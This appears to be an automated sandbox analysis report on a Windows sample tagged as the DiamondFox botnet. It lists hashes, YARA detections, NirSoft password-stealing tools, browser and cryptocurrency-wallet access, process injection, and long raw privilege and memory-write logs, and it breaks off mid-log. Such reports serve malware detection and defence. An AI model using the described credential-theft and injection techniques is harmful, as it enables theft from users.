Analysis
-
max time kernel
143s -
max time network
152s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
04/02/2021, 10:45
Static task
static1
Behavioral task
behavioral1
Sample
958d8e1498f1b3db2c79a62f78da66520654243f25acb19025874066b92618c7.exe
Resource
win7v20201028
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
958d8e1498f1b3db2c79a62f78da66520654243f25acb19025874066b92618c7.exe
Resource
win10v20201028
windows10_x64
0 signatures
0 seconds
General
-
Target
958d8e1498f1b3db2c79a62f78da66520654243f25acb19025874066b92618c7.exe
-
Size
392KB
-
MD5
58e3dd75dabaa2d6e81118b2f7ca854a
-
SHA1
ccab657f017855ddf2e0ed0341f39f1036ce8523
-
SHA256
958d8e1498f1b3db2c79a62f78da66520654243f25acb19025874066b92618c7
-
SHA512
7fa5ff90c155e6370545d6226993411e2bbcca2e33f375fde72bea8437139c5f4e5c9fe4ccd18a5d5906817567b6153b1c5d4480e56a2b9d7263f5e1e657e13e
Malware Config
Signatures
-
DiamondFox
DiamondFox is a multipurpose botnet with many capabilities.
-
DiamondFox payload 1 IoCs
Detects DiamondFox payload in file/memory.
resource yara_rule behavioral2/memory/3584-3-0x0000000000400000-0x0000000002652000-memory.dmp diamondfox -
NirSoft MailPassView 3 IoCs
Password recovery tool for various email clients
resource yara_rule behavioral2/memory/3504-30-0x0000000000400000-0x0000000000455000-memory.dmp MailPassView behavioral2/memory/3504-31-0x000000000044412E-mapping.dmp MailPassView behavioral2/memory/3504-33-0x0000000000400000-0x0000000000455000-memory.dmp MailPassView -
NirSoft WebBrowserPassView 3 IoCs
Password recovery tool for various web browsers
resource yara_rule behavioral2/memory/2304-16-0x0000000000400000-0x000000000047C000-memory.dmp WebBrowserPassView behavioral2/memory/2304-17-0x00000000004466F4-mapping.dmp WebBrowserPassView behavioral2/memory/2304-19-0x0000000000400000-0x000000000047C000-memory.dmp WebBrowserPassView -
Nirsoft 9 IoCs
resource yara_rule behavioral2/memory/2304-16-0x0000000000400000-0x000000000047C000-memory.dmp Nirsoft behavioral2/memory/2304-17-0x00000000004466F4-mapping.dmp Nirsoft behavioral2/memory/2304-19-0x0000000000400000-0x000000000047C000-memory.dmp Nirsoft behavioral2/memory/3504-30-0x0000000000400000-0x0000000000455000-memory.dmp Nirsoft behavioral2/memory/3504-31-0x000000000044412E-mapping.dmp Nirsoft behavioral2/memory/3504-33-0x0000000000400000-0x0000000000455000-memory.dmp Nirsoft behavioral2/memory/3900-34-0x0000000000400000-0x0000000000488000-memory.dmp Nirsoft behavioral2/memory/3900-35-0x000000000040190A-mapping.dmp Nirsoft behavioral2/memory/3900-37-0x0000000000400000-0x0000000000488000-memory.dmp Nirsoft -
Executes dropped EXE 14 IoCs
pid Process 3568 MicrosoftEdgeCPS.exe 2304 MicrosoftEdgeCPS.exe 2460 MicrosoftEdgeCPS.exe 1596 MicrosoftEdgeCPS.exe 3504 MicrosoftEdgeCPS.exe 3900 MicrosoftEdgeCPS.exe 3320 MicrosoftEdgeCPS.exe 420 MicrosoftEdgeCPS.exe 2204 MicrosoftEdgeCPS.exe 2924 MicrosoftEdgeCPS.exe 2724 MicrosoftEdgeCPS.exe 2380 MicrosoftEdgeCPS.exe 3820 setup.exe 976 setup.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
JavaScript code in executable 2 IoCs
resource yara_rule behavioral2/files/0x000200000001a5b5-88.dat js behavioral2/files/0x000200000001a5b5-90.dat js -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Suspicious use of SetThreadContext 16 IoCs
description pid Process procid_target PID 3568 set thread context of 2304 3568 MicrosoftEdgeCPS.exe 95 PID 3568 set thread context of 2460 3568 MicrosoftEdgeCPS.exe 96 PID 3568 set thread context of 1596 3568 MicrosoftEdgeCPS.exe 97 PID 3568 set thread context of 3504 3568 MicrosoftEdgeCPS.exe 100 PID 3568 set thread context of 3900 3568 MicrosoftEdgeCPS.exe 101 PID 3568 set thread context of 3320 3568 MicrosoftEdgeCPS.exe 102 PID 3568 set thread context of 420 3568 MicrosoftEdgeCPS.exe 104 PID 3568 set thread context of 2204 3568 MicrosoftEdgeCPS.exe 105 PID 3568 set thread context of 2924 3568 MicrosoftEdgeCPS.exe 106 PID 3568 set thread context of 2724 3568 MicrosoftEdgeCPS.exe 107 PID 3568 set thread context of 2380 3568 MicrosoftEdgeCPS.exe 108 PID 420 set thread context of 496 420 MicrosoftEdgeCPS.exe 115 PID 420 set thread context of 3868 420 MicrosoftEdgeCPS.exe 117 PID 420 set thread context of 1144 420 MicrosoftEdgeCPS.exe 118 PID 420 set thread context of 3328 420 MicrosoftEdgeCPS.exe 119 PID 420 set thread context of 2896 420 MicrosoftEdgeCPS.exe 120 -
Drops file in Program Files directory 3 IoCs
description ioc Process File created C:\Program Files (x86)\Google\Update\Install\{B130F566-BB8B-4B26-90AB-86F1BEB7B8E3}\CR_1FAF7.tmp\CHROME.PACKED.7Z 86.0.4240.111_chrome_installer.exe File created C:\Program Files (x86)\Google\Update\Install\{B130F566-BB8B-4B26-90AB-86F1BEB7B8E3}\CR_1FAF7.tmp\SETUP.EX_ 86.0.4240.111_chrome_installer.exe File created C:\Program Files (x86)\Google\Update\Install\{B130F566-BB8B-4B26-90AB-86F1BEB7B8E3}\CR_1FAF7.tmp\setup.exe 86.0.4240.111_chrome_installer.exe -
Program crash 5 IoCs
pid pid_target Process procid_target 3092 1596 WerFault.exe 97 2248 3320 WerFault.exe 102 3216 2380 WerFault.exe 108 2984 2724 WerFault.exe 107 3392 496 WerFault.exe 115 -
Suspicious behavior: EnumeratesProcesses 36 IoCs
pid Process 3568 MicrosoftEdgeCPS.exe 3568 MicrosoftEdgeCPS.exe 2304 MicrosoftEdgeCPS.exe 2304 MicrosoftEdgeCPS.exe 2304 MicrosoftEdgeCPS.exe 2304 MicrosoftEdgeCPS.exe 3900 MicrosoftEdgeCPS.exe 3900 MicrosoftEdgeCPS.exe 3900 MicrosoftEdgeCPS.exe 3900 MicrosoftEdgeCPS.exe 3900 MicrosoftEdgeCPS.exe 3900 MicrosoftEdgeCPS.exe 3900 MicrosoftEdgeCPS.exe 3900 MicrosoftEdgeCPS.exe 2724 MicrosoftEdgeCPS.exe 2724 MicrosoftEdgeCPS.exe 3568 MicrosoftEdgeCPS.exe 3568 MicrosoftEdgeCPS.exe 2984 WerFault.exe 2984 WerFault.exe 2984 WerFault.exe 2984 WerFault.exe 2984 WerFault.exe 2984 WerFault.exe 2984 WerFault.exe 2984 WerFault.exe 2984 WerFault.exe 2984 WerFault.exe 2984 WerFault.exe 2984 WerFault.exe 2984 WerFault.exe 2984 WerFault.exe 3824 chrome.exe 3824 chrome.exe 2792 chrome.exe 2792 chrome.exe -
Suspicious use of AdjustPrivilegeToken 384 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 4028 wmic.exe Token: SeSecurityPrivilege 4028 wmic.exe Token: SeTakeOwnershipPrivilege 4028 wmic.exe Token: SeLoadDriverPrivilege 4028 wmic.exe Token: SeSystemProfilePrivilege 4028 wmic.exe Token: SeSystemtimePrivilege 4028 wmic.exe Token: SeProfSingleProcessPrivilege 4028 wmic.exe Token: SeIncBasePriorityPrivilege 4028 wmic.exe Token: SeCreatePagefilePrivilege 4028 wmic.exe Token: SeBackupPrivilege 4028 wmic.exe Token: SeRestorePrivilege 4028 wmic.exe Token: SeShutdownPrivilege 4028 wmic.exe Token: SeDebugPrivilege 4028 wmic.exe Token: SeSystemEnvironmentPrivilege 4028 wmic.exe Token: SeRemoteShutdownPrivilege 4028 wmic.exe Token: SeUndockPrivilege 4028 wmic.exe Token: SeManageVolumePrivilege 4028 wmic.exe Token: 33 4028 wmic.exe Token: 34 4028 wmic.exe Token: 35 4028 wmic.exe Token: 36 4028 wmic.exe Token: SeIncreaseQuotaPrivilege 4028 wmic.exe Token: SeSecurityPrivilege 4028 wmic.exe Token: SeTakeOwnershipPrivilege 4028 wmic.exe Token: SeLoadDriverPrivilege 4028 wmic.exe Token: SeSystemProfilePrivilege 4028 wmic.exe Token: SeSystemtimePrivilege 4028 wmic.exe Token: SeProfSingleProcessPrivilege 4028 wmic.exe Token: SeIncBasePriorityPrivilege 4028 wmic.exe Token: SeCreatePagefilePrivilege 4028 wmic.exe Token: SeBackupPrivilege 4028 wmic.exe Token: SeRestorePrivilege 4028 wmic.exe Token: SeShutdownPrivilege 4028 wmic.exe Token: SeDebugPrivilege 4028 wmic.exe Token: SeSystemEnvironmentPrivilege 4028 wmic.exe Token: SeRemoteShutdownPrivilege 4028 wmic.exe Token: SeUndockPrivilege 4028 wmic.exe Token: SeManageVolumePrivilege 4028 wmic.exe Token: 33 4028 wmic.exe Token: 34 4028 wmic.exe Token: 35 4028 wmic.exe Token: 36 4028 wmic.exe Token: SeIncreaseQuotaPrivilege 3024 wmic.exe Token: SeSecurityPrivilege 3024 wmic.exe Token: SeTakeOwnershipPrivilege 3024 wmic.exe Token: SeLoadDriverPrivilege 3024 wmic.exe Token: SeSystemProfilePrivilege 3024 wmic.exe Token: SeSystemtimePrivilege 3024 wmic.exe Token: SeProfSingleProcessPrivilege 3024 wmic.exe Token: SeIncBasePriorityPrivilege 3024 wmic.exe Token: SeCreatePagefilePrivilege 3024 wmic.exe Token: SeBackupPrivilege 3024 wmic.exe Token: SeRestorePrivilege 3024 wmic.exe Token: SeShutdownPrivilege 3024 wmic.exe Token: SeDebugPrivilege 3024 wmic.exe Token: SeSystemEnvironmentPrivilege 3024 wmic.exe Token: SeRemoteShutdownPrivilege 3024 wmic.exe Token: SeUndockPrivilege 3024 wmic.exe Token: SeManageVolumePrivilege 3024 wmic.exe Token: 33 3024 wmic.exe Token: 34 3024 wmic.exe Token: 35 3024 wmic.exe Token: 36 3024 wmic.exe Token: SeIncreaseQuotaPrivilege 3024 wmic.exe Token: SeSecurityPrivilege 3024 wmic.exe Token: SeTakeOwnershipPrivilege 3024 wmic.exe Token: SeLoadDriverPrivilege 3024 wmic.exe Token: SeSystemProfilePrivilege 3024 wmic.exe Token: SeSystemtimePrivilege 3024 wmic.exe Token: SeProfSingleProcessPrivilege 3024 wmic.exe Token: SeIncBasePriorityPrivilege 3024 wmic.exe Token: SeCreatePagefilePrivilege 3024 wmic.exe Token: SeBackupPrivilege 3024 wmic.exe Token: SeRestorePrivilege 3024 wmic.exe Token: SeShutdownPrivilege 3024 wmic.exe Token: SeDebugPrivilege 3024 wmic.exe Token: SeSystemEnvironmentPrivilege 3024 wmic.exe Token: SeRemoteShutdownPrivilege 3024 wmic.exe Token: SeUndockPrivilege 3024 wmic.exe Token: SeManageVolumePrivilege 3024 wmic.exe Token: 33 3024 wmic.exe Token: 34 3024 wmic.exe Token: 35 3024 wmic.exe Token: 36 3024 wmic.exe Token: SeIncreaseQuotaPrivilege 1584 wmic.exe Token: SeSecurityPrivilege 1584 wmic.exe Token: SeTakeOwnershipPrivilege 1584 wmic.exe Token: SeLoadDriverPrivilege 1584 wmic.exe Token: SeSystemProfilePrivilege 1584 wmic.exe Token: SeSystemtimePrivilege 1584 wmic.exe Token: SeProfSingleProcessPrivilege 1584 wmic.exe Token: SeIncBasePriorityPrivilege 1584 wmic.exe Token: SeCreatePagefilePrivilege 1584 wmic.exe Token: SeBackupPrivilege 1584 wmic.exe Token: SeRestorePrivilege 1584 wmic.exe Token: SeShutdownPrivilege 1584 wmic.exe Token: SeDebugPrivilege 1584 wmic.exe Token: SeSystemEnvironmentPrivilege 1584 wmic.exe Token: SeRemoteShutdownPrivilege 1584 wmic.exe Token: SeUndockPrivilege 1584 wmic.exe Token: SeManageVolumePrivilege 1584 wmic.exe Token: 33 1584 wmic.exe Token: 34 1584 wmic.exe Token: 35 1584 wmic.exe Token: 36 1584 wmic.exe Token: SeIncreaseQuotaPrivilege 1584 wmic.exe Token: SeSecurityPrivilege 1584 wmic.exe Token: SeTakeOwnershipPrivilege 1584 wmic.exe Token: SeLoadDriverPrivilege 1584 wmic.exe Token: SeSystemProfilePrivilege 1584 wmic.exe Token: SeSystemtimePrivilege 1584 wmic.exe Token: SeProfSingleProcessPrivilege 1584 wmic.exe Token: SeIncBasePriorityPrivilege 1584 wmic.exe Token: SeCreatePagefilePrivilege 1584 wmic.exe Token: SeBackupPrivilege 1584 wmic.exe Token: SeRestorePrivilege 1584 wmic.exe Token: SeShutdownPrivilege 1584 wmic.exe Token: SeDebugPrivilege 1584 wmic.exe Token: SeSystemEnvironmentPrivilege 1584 wmic.exe Token: SeRemoteShutdownPrivilege 1584 wmic.exe Token: SeUndockPrivilege 1584 wmic.exe Token: SeManageVolumePrivilege 1584 wmic.exe Token: 33 1584 wmic.exe Token: 34 1584 wmic.exe Token: 35 1584 wmic.exe Token: 36 1584 wmic.exe Token: SeIncreaseQuotaPrivilege 1284 wmic.exe Token: SeSecurityPrivilege 1284 wmic.exe Token: SeTakeOwnershipPrivilege 1284 wmic.exe Token: SeLoadDriverPrivilege 1284 wmic.exe Token: SeSystemProfilePrivilege 1284 wmic.exe Token: SeSystemtimePrivilege 1284 wmic.exe Token: SeProfSingleProcessPrivilege 1284 wmic.exe Token: SeIncBasePriorityPrivilege 1284 wmic.exe Token: SeCreatePagefilePrivilege 1284 wmic.exe Token: SeBackupPrivilege 1284 wmic.exe Token: SeRestorePrivilege 1284 wmic.exe Token: SeShutdownPrivilege 1284 wmic.exe Token: SeDebugPrivilege 1284 wmic.exe Token: SeSystemEnvironmentPrivilege 1284 wmic.exe Token: SeRemoteShutdownPrivilege 1284 wmic.exe Token: SeUndockPrivilege 1284 wmic.exe Token: SeManageVolumePrivilege 1284 wmic.exe Token: 33 1284 wmic.exe Token: 34 1284 wmic.exe Token: 35 1284 wmic.exe Token: 36 1284 wmic.exe Token: SeIncreaseQuotaPrivilege 1284 wmic.exe Token: SeSecurityPrivilege 1284 wmic.exe Token: SeTakeOwnershipPrivilege 1284 wmic.exe Token: SeLoadDriverPrivilege 1284 wmic.exe Token: SeSystemProfilePrivilege 1284 wmic.exe Token: SeSystemtimePrivilege 1284 wmic.exe Token: SeProfSingleProcessPrivilege 1284 wmic.exe Token: SeIncBasePriorityPrivilege 1284 wmic.exe Token: SeCreatePagefilePrivilege 1284 wmic.exe Token: SeBackupPrivilege 1284 wmic.exe Token: SeRestorePrivilege 1284 wmic.exe Token: SeShutdownPrivilege 1284 wmic.exe Token: SeDebugPrivilege 1284 wmic.exe Token: SeSystemEnvironmentPrivilege 1284 wmic.exe Token: SeRemoteShutdownPrivilege 1284 wmic.exe Token: SeUndockPrivilege 1284 wmic.exe Token: SeManageVolumePrivilege 1284 wmic.exe Token: 33 1284 wmic.exe Token: 34 1284 wmic.exe Token: 35 1284 wmic.exe Token: 36 1284 wmic.exe Token: SeIncreaseQuotaPrivilege 416 wmic.exe Token: SeSecurityPrivilege 416 wmic.exe Token: SeTakeOwnershipPrivilege 416 wmic.exe Token: SeLoadDriverPrivilege 416 wmic.exe Token: SeSystemProfilePrivilege 416 wmic.exe Token: SeSystemtimePrivilege 416 wmic.exe Token: SeProfSingleProcessPrivilege 416 wmic.exe Token: SeIncBasePriorityPrivilege 416 wmic.exe Token: SeCreatePagefilePrivilege 416 wmic.exe Token: SeBackupPrivilege 416 wmic.exe Token: SeRestorePrivilege 416 wmic.exe Token: SeShutdownPrivilege 416 wmic.exe Token: SeDebugPrivilege 416 wmic.exe Token: SeSystemEnvironmentPrivilege 416 wmic.exe Token: SeRemoteShutdownPrivilege 416 wmic.exe Token: SeUndockPrivilege 416 wmic.exe Token: SeManageVolumePrivilege 416 wmic.exe Token: 33 416 wmic.exe Token: 34 416 wmic.exe Token: 35 416 wmic.exe Token: 36 416 wmic.exe Token: SeIncreaseQuotaPrivilege 416 wmic.exe Token: SeSecurityPrivilege 416 wmic.exe Token: SeTakeOwnershipPrivilege 416 wmic.exe Token: SeLoadDriverPrivilege 416 wmic.exe Token: SeSystemProfilePrivilege 416 wmic.exe Token: SeSystemtimePrivilege 416 wmic.exe Token: SeProfSingleProcessPrivilege 416 wmic.exe Token: SeIncBasePriorityPrivilege 416 wmic.exe Token: SeCreatePagefilePrivilege 416 wmic.exe Token: SeBackupPrivilege 416 wmic.exe Token: SeRestorePrivilege 416 wmic.exe Token: SeShutdownPrivilege 416 wmic.exe Token: SeDebugPrivilege 416 wmic.exe Token: SeSystemEnvironmentPrivilege 416 wmic.exe Token: SeRemoteShutdownPrivilege 416 wmic.exe Token: SeUndockPrivilege 416 wmic.exe Token: SeManageVolumePrivilege 416 wmic.exe Token: 33 416 wmic.exe Token: 34 416 wmic.exe Token: 35 416 wmic.exe Token: 36 416 wmic.exe Token: SeIncreaseQuotaPrivilege 2800 wmic.exe Token: SeSecurityPrivilege 2800 wmic.exe Token: SeTakeOwnershipPrivilege 2800 wmic.exe Token: SeLoadDriverPrivilege 2800 wmic.exe Token: SeSystemProfilePrivilege 2800 wmic.exe Token: SeSystemtimePrivilege 2800 wmic.exe Token: SeProfSingleProcessPrivilege 2800 wmic.exe Token: SeIncBasePriorityPrivilege 2800 wmic.exe Token: SeCreatePagefilePrivilege 2800 wmic.exe Token: SeBackupPrivilege 2800 wmic.exe Token: SeRestorePrivilege 2800 wmic.exe Token: SeShutdownPrivilege 2800 wmic.exe Token: SeDebugPrivilege 2800 wmic.exe Token: SeSystemEnvironmentPrivilege 2800 wmic.exe Token: SeRemoteShutdownPrivilege 2800 wmic.exe Token: SeUndockPrivilege 2800 wmic.exe Token: SeManageVolumePrivilege 2800 wmic.exe Token: 33 2800 wmic.exe Token: 34 2800 wmic.exe Token: 35 2800 wmic.exe Token: 36 2800 wmic.exe Token: SeIncreaseQuotaPrivilege 2800 wmic.exe Token: SeSecurityPrivilege 2800 wmic.exe Token: SeTakeOwnershipPrivilege 2800 wmic.exe Token: SeLoadDriverPrivilege 2800 wmic.exe Token: SeSystemProfilePrivilege 2800 wmic.exe Token: SeSystemtimePrivilege 2800 wmic.exe Token: SeProfSingleProcessPrivilege 2800 wmic.exe Token: SeIncBasePriorityPrivilege 2800 wmic.exe Token: SeCreatePagefilePrivilege 2800 wmic.exe Token: SeBackupPrivilege 2800 wmic.exe Token: SeRestorePrivilege 2800 wmic.exe Token: SeShutdownPrivilege 2800 wmic.exe Token: SeDebugPrivilege 2800 wmic.exe Token: SeSystemEnvironmentPrivilege 2800 wmic.exe Token: SeRemoteShutdownPrivilege 2800 wmic.exe Token: SeUndockPrivilege 2800 wmic.exe Token: SeManageVolumePrivilege 2800 wmic.exe Token: 33 2800 wmic.exe Token: 34 2800 wmic.exe Token: 35 2800 wmic.exe Token: 36 2800 wmic.exe Token: SeIncreaseQuotaPrivilege 2216 wmic.exe Token: SeSecurityPrivilege 2216 wmic.exe Token: SeTakeOwnershipPrivilege 2216 wmic.exe Token: SeLoadDriverPrivilege 2216 wmic.exe Token: SeSystemProfilePrivilege 2216 wmic.exe Token: SeSystemtimePrivilege 2216 wmic.exe Token: SeProfSingleProcessPrivilege 2216 wmic.exe Token: SeIncBasePriorityPrivilege 2216 wmic.exe Token: SeCreatePagefilePrivilege 2216 wmic.exe Token: SeBackupPrivilege 2216 wmic.exe Token: SeRestorePrivilege 2216 wmic.exe Token: SeShutdownPrivilege 2216 wmic.exe Token: SeDebugPrivilege 2216 wmic.exe Token: SeSystemEnvironmentPrivilege 2216 wmic.exe Token: SeRemoteShutdownPrivilege 2216 wmic.exe Token: SeUndockPrivilege 2216 wmic.exe Token: SeManageVolumePrivilege 2216 wmic.exe Token: 33 2216 wmic.exe Token: 34 2216 wmic.exe Token: 35 2216 wmic.exe Token: 36 2216 wmic.exe Token: SeIncreaseQuotaPrivilege 2216 wmic.exe Token: SeSecurityPrivilege 2216 wmic.exe Token: SeTakeOwnershipPrivilege 2216 wmic.exe Token: SeLoadDriverPrivilege 2216 wmic.exe Token: SeSystemProfilePrivilege 2216 wmic.exe Token: SeSystemtimePrivilege 2216 wmic.exe Token: SeProfSingleProcessPrivilege 2216 wmic.exe Token: SeIncBasePriorityPrivilege 2216 wmic.exe Token: SeCreatePagefilePrivilege 2216 wmic.exe Token: SeBackupPrivilege 2216 wmic.exe Token: SeRestorePrivilege 2216 wmic.exe Token: SeShutdownPrivilege 2216 wmic.exe Token: SeDebugPrivilege 2216 wmic.exe Token: SeSystemEnvironmentPrivilege 2216 wmic.exe Token: SeRemoteShutdownPrivilege 2216 wmic.exe Token: SeUndockPrivilege 2216 wmic.exe Token: SeManageVolumePrivilege 2216 wmic.exe Token: 33 2216 wmic.exe Token: 34 2216 wmic.exe Token: 35 2216 wmic.exe Token: 36 2216 wmic.exe Token: SeDebugPrivilege 2724 MicrosoftEdgeCPS.exe Token: SeIncreaseQuotaPrivilege 3936 wmic.exe Token: SeSecurityPrivilege 3936 wmic.exe Token: SeTakeOwnershipPrivilege 3936 wmic.exe Token: SeLoadDriverPrivilege 3936 wmic.exe Token: SeSystemProfilePrivilege 3936 wmic.exe Token: SeSystemtimePrivilege 3936 wmic.exe Token: SeProfSingleProcessPrivilege 3936 wmic.exe Token: SeIncBasePriorityPrivilege 3936 wmic.exe Token: SeCreatePagefilePrivilege 3936 wmic.exe Token: SeBackupPrivilege 3936 wmic.exe Token: SeRestorePrivilege 3936 wmic.exe Token: SeShutdownPrivilege 3936 wmic.exe Token: SeDebugPrivilege 3936 wmic.exe Token: SeSystemEnvironmentPrivilege 3936 wmic.exe Token: SeRemoteShutdownPrivilege 3936 wmic.exe Token: SeUndockPrivilege 3936 wmic.exe Token: SeManageVolumePrivilege 3936 wmic.exe Token: 33 3936 wmic.exe Token: 34 3936 wmic.exe Token: 35 3936 wmic.exe Token: 36 3936 wmic.exe Token: SeIncreaseQuotaPrivilege 3936 wmic.exe Token: SeSecurityPrivilege 3936 wmic.exe Token: SeTakeOwnershipPrivilege 3936 wmic.exe Token: SeLoadDriverPrivilege 3936 wmic.exe Token: SeSystemProfilePrivilege 3936 wmic.exe Token: SeSystemtimePrivilege 3936 wmic.exe Token: SeProfSingleProcessPrivilege 3936 wmic.exe Token: SeIncBasePriorityPrivilege 3936 wmic.exe Token: SeCreatePagefilePrivilege 3936 wmic.exe Token: SeBackupPrivilege 3936 wmic.exe Token: SeRestorePrivilege 3936 wmic.exe Token: SeShutdownPrivilege 3936 wmic.exe Token: SeDebugPrivilege 3936 wmic.exe Token: SeSystemEnvironmentPrivilege 3936 wmic.exe Token: SeRemoteShutdownPrivilege 3936 wmic.exe Token: SeUndockPrivilege 3936 wmic.exe Token: SeManageVolumePrivilege 3936 wmic.exe Token: 33 3936 wmic.exe Token: 34 3936 wmic.exe Token: 35 3936 wmic.exe Token: 36 3936 wmic.exe Token: SeIncreaseQuotaPrivilege 3752 wmic.exe Token: SeSecurityPrivilege 3752 wmic.exe Token: SeTakeOwnershipPrivilege 3752 wmic.exe Token: SeLoadDriverPrivilege 3752 wmic.exe Token: SeSystemProfilePrivilege 3752 wmic.exe Token: SeSystemtimePrivilege 3752 wmic.exe Token: SeProfSingleProcessPrivilege 3752 wmic.exe Token: SeIncBasePriorityPrivilege 3752 wmic.exe Token: SeCreatePagefilePrivilege 3752 wmic.exe Token: SeBackupPrivilege 3752 wmic.exe Token: SeRestorePrivilege 3752 wmic.exe Token: SeShutdownPrivilege 3752 wmic.exe Token: SeDebugPrivilege 3752 wmic.exe Token: SeSystemEnvironmentPrivilege 3752 wmic.exe Token: SeRemoteShutdownPrivilege 3752 wmic.exe Token: SeUndockPrivilege 3752 wmic.exe Token: SeManageVolumePrivilege 3752 wmic.exe Token: 33 3752 wmic.exe Token: 34 3752 wmic.exe Token: 35 3752 wmic.exe Token: 36 3752 wmic.exe Token: SeIncreaseQuotaPrivilege 3752 wmic.exe Token: SeSecurityPrivilege 3752 wmic.exe Token: SeTakeOwnershipPrivilege 3752 wmic.exe Token: SeLoadDriverPrivilege 3752 wmic.exe Token: SeSystemProfilePrivilege 3752 wmic.exe Token: SeSystemtimePrivilege 3752 wmic.exe Token: SeProfSingleProcessPrivilege 3752 wmic.exe Token: SeIncBasePriorityPrivilege 3752 wmic.exe Token: SeCreatePagefilePrivilege 3752 wmic.exe Token: SeBackupPrivilege 3752 wmic.exe Token: SeRestorePrivilege 3752 wmic.exe Token: SeShutdownPrivilege 3752 wmic.exe Token: SeDebugPrivilege 3752 wmic.exe Token: SeSystemEnvironmentPrivilege 3752 wmic.exe Token: SeRemoteShutdownPrivilege 3752 wmic.exe Token: SeUndockPrivilege 3752 wmic.exe Token: SeManageVolumePrivilege 3752 wmic.exe Token: 33 3752 wmic.exe Token: 34 3752 wmic.exe Token: 35 3752 wmic.exe Token: 36 3752 wmic.exe Token: SeRestorePrivilege 2984 WerFault.exe Token: SeBackupPrivilege 2984 WerFault.exe Token: SeDebugPrivilege 2984 WerFault.exe Token: 33 3868 86.0.4240.111_chrome_installer.exe Token: SeIncBasePriorityPrivilege 3868 86.0.4240.111_chrome_installer.exe -
Suspicious use of FindShellTrayWindow 3 IoCs
pid Process 2792 chrome.exe 2792 chrome.exe 2792 chrome.exe -
Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 2460 MicrosoftEdgeCPS.exe 2204 MicrosoftEdgeCPS.exe 2924 MicrosoftEdgeCPS.exe -
Suspicious use of WriteProcessMemory 677 IoCs
description pid Process procid_target PID 3584 wrote to memory of 3568 3584 958d8e1498f1b3db2c79a62f78da66520654243f25acb19025874066b92618c7.exe 75 PID 3584 wrote to memory of 3568 3584 958d8e1498f1b3db2c79a62f78da66520654243f25acb19025874066b92618c7.exe 75 PID 3584 wrote to memory of 3568 3584 958d8e1498f1b3db2c79a62f78da66520654243f25acb19025874066b92618c7.exe 75 PID 3568 wrote to memory of 4028 3568 MicrosoftEdgeCPS.exe 77 PID 3568 wrote to memory of 4028 3568 MicrosoftEdgeCPS.exe 77 PID 3568 wrote to memory of 4028 3568 MicrosoftEdgeCPS.exe 77 PID 3568 wrote to memory of 3024 3568 MicrosoftEdgeCPS.exe 80 PID 3568 wrote to memory of 3024 3568 MicrosoftEdgeCPS.exe 80 PID 3568 wrote to memory of 3024 3568 MicrosoftEdgeCPS.exe 80 PID 3568 wrote to memory of 1584 3568 MicrosoftEdgeCPS.exe 82 PID 3568 wrote to memory of 1584 3568 MicrosoftEdgeCPS.exe 82 PID 3568 wrote to memory of 1584 3568 MicrosoftEdgeCPS.exe 82 PID 3568 wrote to memory of 1284 3568 MicrosoftEdgeCPS.exe 84 PID 3568 wrote to memory of 1284 3568 MicrosoftEdgeCPS.exe 84 PID 3568 wrote to memory of 1284 3568 MicrosoftEdgeCPS.exe 84 PID 3568 wrote to memory of 416 3568 MicrosoftEdgeCPS.exe 86 PID 3568 wrote to memory of 416 3568 MicrosoftEdgeCPS.exe 86 PID 3568 wrote to memory of 416 3568 MicrosoftEdgeCPS.exe 86 PID 3568 wrote to memory of 2800 3568 MicrosoftEdgeCPS.exe 89 PID 3568 wrote to memory of 2800 3568 MicrosoftEdgeCPS.exe 89 PID 3568 wrote to memory of 2800 3568 MicrosoftEdgeCPS.exe 89 PID 3568 wrote to memory of 2216 3568 MicrosoftEdgeCPS.exe 91 PID 3568 wrote to memory of 2216 3568 MicrosoftEdgeCPS.exe 91 PID 3568 wrote to memory of 2216 3568 MicrosoftEdgeCPS.exe 91 PID 3568 wrote to memory of 2304 3568 MicrosoftEdgeCPS.exe 95 PID 3568 wrote to memory of 2304 3568 MicrosoftEdgeCPS.exe 95 PID 3568 wrote to memory of 2304 3568 MicrosoftEdgeCPS.exe 95 PID 3568 wrote to memory of 2304 3568 MicrosoftEdgeCPS.exe 95 PID 3568 wrote to memory of 2304 3568 MicrosoftEdgeCPS.exe 95 PID 3568 wrote to memory of 2304 3568 MicrosoftEdgeCPS.exe 95 PID 3568 wrote to memory of 2304 3568 MicrosoftEdgeCPS.exe 95 PID 3568 wrote to memory of 2304 3568 MicrosoftEdgeCPS.exe 95 PID 3568 wrote to memory of 2304 3568 MicrosoftEdgeCPS.exe 95 PID 3568 wrote to memory of 2460 3568 MicrosoftEdgeCPS.exe 96 PID 3568 wrote to memory of 2460 3568 MicrosoftEdgeCPS.exe 96 PID 3568 wrote to memory of 2460 3568 MicrosoftEdgeCPS.exe 96 PID 3568 wrote to memory of 2460 3568 MicrosoftEdgeCPS.exe 96 PID 3568 wrote to memory of 2460 3568 MicrosoftEdgeCPS.exe 96 PID 3568 wrote to memory of 2460 3568 MicrosoftEdgeCPS.exe 96 PID 3568 wrote to memory of 2460 3568 MicrosoftEdgeCPS.exe 96 PID 3568 wrote to memory of 2460 3568 MicrosoftEdgeCPS.exe 96 PID 3568 wrote to memory of 1596 3568 MicrosoftEdgeCPS.exe 97 PID 3568 wrote to memory of 1596 3568 MicrosoftEdgeCPS.exe 97 PID 3568 wrote to memory of 1596 3568 MicrosoftEdgeCPS.exe 97 PID 3568 wrote to memory of 1596 3568 MicrosoftEdgeCPS.exe 97 PID 3568 wrote to memory of 3504 3568 MicrosoftEdgeCPS.exe 100 PID 3568 wrote to memory of 3504 3568 MicrosoftEdgeCPS.exe 100 PID 3568 wrote to memory of 3504 3568 MicrosoftEdgeCPS.exe 100 PID 3568 wrote to memory of 3504 3568 MicrosoftEdgeCPS.exe 100 PID 3568 wrote to memory of 3504 3568 MicrosoftEdgeCPS.exe 100 PID 3568 wrote to memory of 3504 3568 MicrosoftEdgeCPS.exe 100 PID 3568 wrote to memory of 3504 3568 MicrosoftEdgeCPS.exe 100 PID 3568 wrote to memory of 3504 3568 MicrosoftEdgeCPS.exe 100 PID 